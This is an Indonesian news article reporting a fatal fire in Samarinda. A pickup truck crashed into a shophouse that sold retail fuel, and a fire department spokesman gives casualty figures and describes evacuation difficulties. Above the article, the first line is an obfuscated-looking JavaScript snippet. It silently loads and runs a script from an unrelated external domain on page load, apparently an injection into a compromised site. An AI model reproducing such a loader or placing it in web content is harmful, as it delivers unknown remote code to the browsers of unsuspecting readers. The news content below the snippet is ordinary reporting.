(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, SAMARINDA – Peristiwa kebakaran yang terjadi di Samarinda menggegerkan masyarakat Kota Tepian. Insiden itu terjadi di waktu Subuh saat warga selesai santap sahur.
Sebuah mobil Mitsubishi Triton putih menabrak salah satu bangunan dengan ruko 3 pintu. Ledakan terjadi usai mobil itu menabrak. Dikabarkan pula ada satu keluarga terjebak dalam kebakaran tersebut.
Berdasarkan keterangan Humas Pemadam Kebakaran (Damkar) Samarinda, Herry Suhendra beberapa korban ada yang sudah dievakuasi. Para korban langsung dibawa ke Rumah Sakit Umum Abdul Wahab Syahranie (AWS).
“Korban ada 8 yang sudah dievakuasi. 2 masih bernafas, 6 meninggal. Tapi, informasi terbaru, salah satu dari 2 korban yang dievakuasi itu meninggal pada saat perjalanan ke rumah sakit,” jelasnya, Minggu (17/4/2022).
Baca juga: Pak Mulyono Driver Ojol Pertama di Indonesia, Awal Kerja Pakai SMS
Ia menuturkan, para korban yang dievakuasi terbagi di lantai 1 dan di lantai 2 bangunan. Rinciannya, 1 orang dievakuasi dari lantai 1, lalu sisanya dari lantai 2 bangunan tersebut.
Ia menegaskan korban yang meninggal dunia dalam insiden tersebut ada 7 orang. Rata-rata meninggal di tempat lokasi kebakaran.
“Iya. Betul sekali,” singkatnya.
Saat melakukan evakuasi, ia mengaku ada kesulitan yang dialami Damkar. Yakni saat penyelamatan. Di mana akses evakuasi tidak ada selain pintu utama.
Namun, katanya, pintu utama terkunci. Evakuasi para korban pun hanya bisa dilakukan secara perlahan.
“Kesulitan sebenarnya ada pada bangunan ruko yang dalam keadaan terkunci. Jadi, kita harus evakuasi pelan-pelan. Tidak ada pintu evakuasi lain selain pintu utama,” jelasnya.
Terkait mobil yang diturunkan, ia menjelaskan ada 6 unit. Mobil tersebut berasal dari 2 posko sekaligus yang berada dekat dengan wilayah tersebut.
Baca juga: Usaha Turunkan Angka Stunting, Pemkab Tanbu Gelar Rapat Analisis Data
Kini, proses pendinginan gedung dilakukan tim Damkar Samarinda. Ia membeberkan, pendinginan sempat terhenti sesaat karena pihak Damkar melakukan evakuasi para korban.
“Saat ini proses pendinginan. Tadi sempat stop karena evakuasi korban, jadi kita lanjutkan untuk evakuasi dan kepentingan korban,” ujarnya.
Ia juga membenarkan soal info awal terjadinya kebakaran tersebut lantaran mobil triton berwarna putih oleng dan menabrak sebuah toko sembako. Ia menuturkan, berdasarkan keterangan para saksi mobil hilang kendali dan oleng.
Tak cuma itu, ia juga membenarkan bahwa mobil triton tersebut ialah mobil yang biasa beroperasi di industri tambang. Namun, terkait sopir dan penumpang masih belum diketahui keberadaannya.
“Iya. Info dari para saksi mobil melaju dari arah Villa Tamara. Out control, oleng, menabrak toko sembako yang menjual bensin eceran. Mungkin ditabraknya. Menimbulkan percikan hingga menimbulkan kebakaran. Pelakunya saat ini belum tahu, entah kemana, entah kabur, masih belum tahu,” tandasnya. (Kanalkalimantan.com/Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.